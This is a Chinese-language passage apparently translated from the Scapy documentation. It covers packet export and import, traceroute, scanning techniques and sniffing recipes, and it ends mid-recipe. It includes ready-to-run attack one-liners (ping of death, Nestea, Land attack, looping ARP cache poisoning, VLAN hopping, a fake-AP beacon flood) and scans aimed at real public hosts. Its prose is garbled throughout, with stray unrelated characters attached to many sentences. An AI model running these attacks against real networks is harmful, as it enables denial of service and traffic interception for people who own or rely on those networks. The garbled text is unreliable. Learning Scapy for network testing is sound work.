RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

導(dǎo)入和導(dǎo)出數(shù)據(jù)

PCAP

通惩市悖可以將數(shù)據(jù)包保存為pcap文件以備后用,或者是供其他的應(yīng)用程序使用:

>>> wrpcap("temp.cap",pkts)

還原之前保存的pcap文件:

>>> pkts = rdpcap("temp.cap")

或者

>>> pkts = rdpcap("temp.cap")

Hexdump

Scapy允許你以不同的十六進(jìn)制格式輸出編碼的數(shù)據(jù)包薛训。

使用hexdump()函數(shù)會(huì)以經(jīng)典的hexdump格式輸出數(shù)據(jù)包:

>>> hexdump(pkt)
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67

使用import_hexcap()函數(shù)可以將以上的hexdump重新導(dǎo)入到Scapy中:

>>> pkt_hex = Ether(import_hexcap())
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67
>>> pkt_hex
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Hex string

使用str()函數(shù)可以將整個(gè)數(shù)據(jù)包轉(zhuǎn)換成十六進(jìn)制字符串:

>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_str = str(pkt)
>>> pkt_str
'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

通過選擇合適的起始層(例如Ether())媒吗,我們可以重新導(dǎo)入十六進(jìn)制字符串。

>>> new_pkt = Ether(pkt_str)
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Base64

使用export_object()函數(shù)乙埃,Scapy可以數(shù)據(jù)包轉(zhuǎn)換成base64編碼的Python數(shù)據(jù)結(jié)構(gòu):

>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...

使用import_object()函數(shù)闸英,可以將以上輸出重新導(dǎo)入到Scapy中:

>>> new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>

Sessions

最后可以使用save_session()函數(shù)來保存所有的session變量:

>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
>>> save_session("session.scapy")

使用load_session()函數(shù),在下一次你啟動(dòng)Scapy的時(shí)候你就能加載保存的session:

>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']

Making tables

現(xiàn)在我們來演示一下make_table()函數(shù)的功能介袜。該函數(shù)的需要一個(gè)列表和另一個(gè)函數(shù)(返回包含三個(gè)元素的元組)作為參數(shù)甫何。第一個(gè)元素是表格x軸上的一個(gè)值,第二個(gè)元素是y軸上的值遇伞,第三個(gè)原始則是坐標(biāo)(x,y)對(duì)應(yīng)的值辙喂,其返回結(jié)果為一個(gè)表格。這個(gè)函數(shù)有兩個(gè)變種赃额,make_lined_table()make_tex_table()來復(fù)制/粘貼到你的LaTeX報(bào)告中加派。這些函數(shù)都可以作為一個(gè)結(jié)果對(duì)象的方法:

在這里,我們可以看到一個(gè)多機(jī)并行的traceroute(Scapy的已經(jīng)有一個(gè)多TCP路由跟蹤功能跳芳,待會(huì)兒可以看到):

>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
  216.15.189.192  216.15.189.193  216.15.189.194  216.15.189.195
1 192.168.8.1     192.168.8.1     192.168.8.1     192.168.8.1
2 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254
3 213.228.4.254   213.228.4.254   213.228.4.254   213.228.4.254
4 213.228.3.3     213.228.3.3     213.228.3.3     213.228.3.3
5 193.251.254.1   193.251.251.69  193.251.254.1   193.251.251.69
6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178

這里有個(gè)更復(fù)雜的例子:從他們的IPID字段中識(shí)別主機(jī)芍锦。我們可以看到172.20.80.200只有22端口做出了應(yīng)答,而172.20.80.201則對(duì)所有的端口都有應(yīng)答飞盆,而且172.20.80.197對(duì)25端口沒有應(yīng)答娄琉,但對(duì)其他端口都有應(yīng)答。

>>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
   172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0             4203          7021          -             11562
21 0             4204          7022          -             11563
22 0             4205          7023          11561         11564
25 0             0             7024          -             11565
53 0             4207          7025          -             11566
80 0             4028          7026          -             11567

你在使用TTL和顯示接收到的TTL等情況下吓歇,它可以很輕松地幫你識(shí)別網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu)孽水。

Routing

現(xiàn)在Scapy有自己的路由表了,所以將你的數(shù)據(jù)包以不同于操作系統(tǒng)的方式路由:

>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0
>>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.254   eth0
192.168.1.1     255.255.255.255 192.168.8.1     eth0
>>> conf.route.resync()
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0

Gnuplot

我們可以很容易地將收集起來的數(shù)據(jù)繪制成Gnuplot城看。(清確保你已經(jīng)安裝了Gnuplot-py和Gnuplot)例如女气,我們可以通過觀察圖案知道負(fù)載平衡器用了多少個(gè)不同的IP堆棧:

>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
<Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>

TCP traceroute (2)

Scapy也有強(qiáng)大的TCP traceroute功能。并不像其他traceroute程序那樣测柠,需要等待每個(gè)節(jié)點(diǎn)的回應(yīng)才去下一個(gè)節(jié)點(diǎn)炼鞠,scapy會(huì)在同一時(shí)間發(fā)送所有的數(shù)據(jù)包缘滥。其缺點(diǎn)就是不知道什么時(shí)候停止(所以就有maxttl參數(shù)),其巨大的優(yōu)點(diǎn)就是谒主,只用了不到3秒朝扼,就可以得到多目標(biāo)的traceroute結(jié)果:

>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
Received 80 packets, got 80 answers, remaining 0 packets
   193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.243.5.254       82.243.5.254       82.243.5.254       82.243.5.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
4  212.27.50.46       212.27.50.46       212.27.50.46       212.27.50.46
5  212.27.50.37       212.27.50.41       212.27.50.37       212.27.50.41
6  212.27.50.34       212.27.50.34       213.228.3.234      193.251.251.69
7  213.248.71.141     217.118.239.149    208.184.231.214    193.251.241.178
8  213.248.65.81      217.118.224.44     64.125.31.129      193.251.242.98
9  213.248.70.14      213.206.129.85     64.125.31.186      193.251.243.89
10 193.45.10.88    SA 213.206.128.160    64.125.29.122      193.251.254.126
11 193.45.10.88    SA 206.24.169.41      64.125.28.70       216.115.97.178
12 193.45.10.88    SA 206.24.226.99      64.125.28.209      66.218.64.146
13 193.45.10.88    SA 206.24.227.106     64.125.29.45       66.218.82.230
14 193.45.10.88    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
15 193.45.10.88    SA 216.109.120.149    64.124.229.109     66.94.229.254   SA
16 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
17 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
18 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
19 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
20 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

最后一行實(shí)際上是該函數(shù)的返回結(jié)果:traceroute返回一個(gè)對(duì)象和無應(yīng)答數(shù)據(jù)包列表。traceroute返回的是一個(gè)經(jīng)典返回對(duì)象更加特殊的版本(實(shí)際上是一個(gè)子類)霎肯。我們可以將其保存以備后用擎颖,或者是進(jìn)行一些例如檢查填充的更深層次的觀察:

>>> result,unans=_
>>> result.show()
   193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
[...]
>>> result.filter(lambda x: Padding in x[1])

和其他返回對(duì)象一樣,traceroute對(duì)象也可以相加:

>>> r2,unans=traceroute(["www.voila.com"],maxttl=20)
Received 19 packets, got 19 answers, remaining 1 packets
   195.101.94.25:80
1  192.168.8.1
2  82.251.4.254
3  213.228.4.254
4  212.27.50.169
5  212.27.50.162
6  193.252.161.97
7  193.252.103.86
8  193.252.103.77
9  193.252.101.1
10 193.252.227.245
12 195.101.94.25   SA
13 195.101.94.25   SA
14 195.101.94.25   SA
15 195.101.94.25   SA
16 195.101.94.25   SA
17 195.101.94.25   SA
18 195.101.94.25   SA
19 195.101.94.25   SA
20 195.101.94.25   SA
>>>
>>> r3=result+r2
>>> r3.show()
   195.101.94.25:80   212.23.37.13:80    216.109.118.72:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
4  212.27.50.169      212.27.50.169      212.27.50.46       -                  212.27.50.46
5  212.27.50.162      212.27.50.162      212.27.50.37       212.27.50.41       212.27.50.37
6  193.252.161.97     194.68.129.168     212.27.50.34       213.228.3.234      193.251.251.69
7  193.252.103.86     212.23.42.33       217.118.239.185    208.184.231.214    193.251.241.178
8  193.252.103.77     212.23.42.6        217.118.224.44     64.125.31.129      193.251.242.98
9  193.252.101.1      212.23.37.13    SA 213.206.129.85     64.125.31.186      193.251.243.89
10 193.252.227.245    212.23.37.13    SA 213.206.128.160    64.125.29.122      193.251.254.126
11 -                  212.23.37.13    SA 206.24.169.41      64.125.28.70       216.115.97.178
12 195.101.94.25   SA 212.23.37.13    SA 206.24.226.100     64.125.28.209      216.115.101.46
13 195.101.94.25   SA 212.23.37.13    SA 206.24.238.166     64.125.29.45       66.218.82.234
14 195.101.94.25   SA 212.23.37.13    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
15 195.101.94.25   SA 212.23.37.13    SA 216.109.120.151    64.124.229.109     66.94.229.254   SA
16 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
17 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
18 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
19 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
20 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA

Traceroute返回對(duì)象有一個(gè)非常實(shí)用的功能:他們會(huì)將得到的所有路線做成一個(gè)有向圖观游,并用AS組織路線搂捧。你需要安裝graphviz。在默認(rèn)情況下會(huì)使用ImageMagick顯示圖形懂缕。

>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
Received 190 packets, got 190 answers, remaining 10 packets
   193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80  207.46...
1  192.168.8.1         192.168.8.1        192.168.8.1        192.168.8.1        192.16...
2  82.251.4.254        82.251.4.254       82.251.4.254       82.251.4.254       82.251...
3  213.228.4.254       213.228.4.254      213.228.4.254      213.228.4.254      213.22...
[...]
>>> res.graph()                          # piped to ImageMagick's display program. Image below.
>>> res.graph(type="ps",target="| lp")   # piped to postscript printer
>>> res.graph(target="> /tmp/graph.svg") # saved to file

如果你安裝了VPython异旧,你就可以用3D來表示traceroute。右邊的按鈕是旋轉(zhuǎn)圖案提佣,中間的按鈕是放大縮小,左邊的按鈕是移動(dòng)圖案荤崇。如果你單擊一個(gè)球拌屏,它的IP地址就會(huì)出現(xiàn)/消失。如果你按住Ctrl單擊一個(gè)球术荤,就會(huì)掃描21,22,23,25,80和443端口倚喂,并顯示結(jié)果:

>>> res.trace3D()

Wireless frame injection

frame injection的前提是你的無線網(wǎng)卡和驅(qū)動(dòng)得正確配置好。

$ ifconfig wlan0 up
$ iwpriv wlan0 hostapd 1
$ ifconfig wlan0ap up

你可以造一個(gè)FakeAP:

>>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/
          Dot11Beacon(cap="ESS")/
          Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/
          Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/
          Dot11Elt(ID="DSset",info="\x03")/
          Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1)

0x02 Simple one-liners

ACK Scan

使用Scapy強(qiáng)大的數(shù)據(jù)包功能瓣戚,我們可以快速地復(fù)制經(jīng)典的TCP掃描端圈。例如,模擬ACK Scan將會(huì)發(fā)送以下字符串:

>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

我們可以在有應(yīng)答的數(shù)據(jù)包中發(fā)現(xiàn)未過濾的端口:

>>> for s,r in ans:
...     if s[TCP].dport == r[TCP].sport:
...        print str(s[TCP].dport) + " is unfiltered"

同樣的子库,可以在無應(yīng)答的數(shù)據(jù)包中發(fā)現(xiàn)過濾的端口:

>>> for s in unans:
...     print str(s[TCP].dport) + " is filtered"

Xmas Scan

可以使用以下的命令來啟動(dòng)Xmas Scan:

>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )

有RST響應(yīng)則意味著目標(biāo)主機(jī)的對(duì)應(yīng)端口是關(guān)閉的舱权。

IP Scan

較低級(jí)的IP Scan可以用來枚舉支持的協(xié)議:

>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

在本地以太網(wǎng)絡(luò)上最快速地發(fā)現(xiàn)主機(jī)的方法莫過于ARP Ping了:

>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)

用以下命令可以來審查應(yīng)答:

>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )

Scapy還包含內(nèi)建函數(shù)arping(),該函數(shù)實(shí)現(xiàn)的功能和以上的兩個(gè)命令類似:

>>> arping("192.168.1.*")

ICMP Ping

可以用以下的命令來模擬經(jīng)典的ICMP Ping:

>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())

用以下的命令可以收集存活主機(jī)的信息:

>>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )

TCP Ping

如果ICMP echo請(qǐng)求被禁止了,我們依舊可以用不同的TCP Pings仑嗅,就像下面的TCP SYN Ping:

>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )

對(duì)我們的刺探有任何響應(yīng)就意味著為一臺(tái)存活主機(jī)宴倍,可以用以下的命令收集結(jié)果:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

UDP Ping

如果其他的都失敗了,還可以使用UDP Ping仓技,它可以讓存活主機(jī)產(chǎn)生ICMP Port unreachable錯(cuò)誤鸵贬。你可以挑選任何極有可能關(guān)閉的端口,就像端口0:

>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )

同樣的脖捻,使用以下命令收集結(jié)果:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

Classical attacks

Malformed packets:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

Ping of death (Muuahahah):

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

Nestea attack:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

Land attack (designed for Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

ARP cache poisoning

這種攻擊可以通過VLAN跳躍攻擊投毒ARP緩存阔逼,使得其他客戶端無法加入真正的網(wǎng)關(guān)地址。

經(jīng)典的ARP緩存投毒:

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

使用double 802.1q封裝進(jìn)行ARP緩存投毒:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

TCP Port Scanning

發(fā)送一個(gè)TCP SYN到每一個(gè)端口上地沮。等待一個(gè)SYN-ACK或者是RST或者是一個(gè)ICMP錯(cuò)誤:

>>> res,unans = sr( IP(dst="target")
                /TCP(flags="S", dport=(1,1024)) )

將開放的端口結(jié)果可視化:

>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

IKE Scanning

我們?cè)噲D通過發(fā)送ISAKMP Security Association proposals來確定VPN集中器嗜浮,并接收應(yīng)答:

>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()
                /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
                /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
              )

可視化結(jié)果列表:

>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )

Advanced traceroute

TCP SYN traceroute

>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))

結(jié)果會(huì)是:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1     time-exceeded
68.86.90.162    time-exceeded
4.79.43.134     time-exceeded
4.79.43.133     time-exceeded
4.68.18.126     time-exceeded
4.68.123.38     time-exceeded
4.2.2.1         SA

UDP traceroute

相比較TCP來說羡亩, traceroute一個(gè)UDP應(yīng)用程序是不可靠的,因?yàn)閠a沒有握手的過程周伦。我們需要給一個(gè)應(yīng)用性的有效載荷(DNS夕春,ISAKMP,NTP等)來得到一個(gè)應(yīng)答:

>>> res,unans = sr(IP(dst="target", ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com"))

我們可以想象得到一個(gè)路由器列表的結(jié)果:

>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))

DNS traceroute

我們可以在traceroute()函數(shù)中設(shè)置l4參數(shù)為一個(gè)完整的數(shù)據(jù)包专挪,來實(shí)現(xiàn)DNS traceroute:

>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
   4.2.2.1:udp53
1  192.168.1.1     11
4  68.86.90.162    11
5  4.79.43.134     11
6  4.79.43.133     11
7  4.68.18.62      11
8  4.68.123.6      11
9  4.2.2.1
... 

Etherleaking

>>> sr1(IP(dst="172.16.1.232")/ICMP())
<IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>

ICMP leaking

這是一個(gè)Linux2.0的一個(gè)bug:

>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
<IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
<IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
<Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>

VLAN hopping

在非常特殊的情況下及志,使用double 802.1q封裝,可以將一個(gè)數(shù)據(jù)包跳到另一個(gè)VLAN中:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

Wireless sniffing

以下的命令將會(huì)像大多數(shù)的無線嗅探器那樣顯示信息:

>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))

以上命令會(huì)產(chǎn)生類似如下的輸出:

00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble

0x03 Recipes

Simplistic ARP Monitor

以下的程序使用了sniff()函數(shù)的回調(diào)功能(prn參數(shù))寨腔。將store參數(shù)設(shè)置為0速侈,就可以使sniff()函數(shù)不存儲(chǔ)任何數(shù)據(jù)(否則會(huì)存儲(chǔ)),所以就可以一直嗅探下去迫卢。filter參數(shù)
則用于在高負(fù)荷的情況下有更好的性能:filter會(huì)在內(nèi)核中應(yīng)用倚搬,而且Scapy就只能嗅探到ARP流量。

#! /usr/bin/env python
from scapy.all import *

def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)

Identifying rogue DHCP servers on your LAN

Problem

你懷疑有人已經(jīng)在你的LAN中安裝了額外的未經(jīng)授權(quán)的DHCP服務(wù)器-無論是故意的還是有意的乾蛤。因此你想要檢查是否有任何活動(dòng)的DHCP服務(wù)器每界,并確定他們的IP和MAC地址。

Solution

使用Scapy發(fā)送一個(gè)DHCP發(fā)現(xiàn)請(qǐng)求家卖,并分析應(yīng)答:

>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
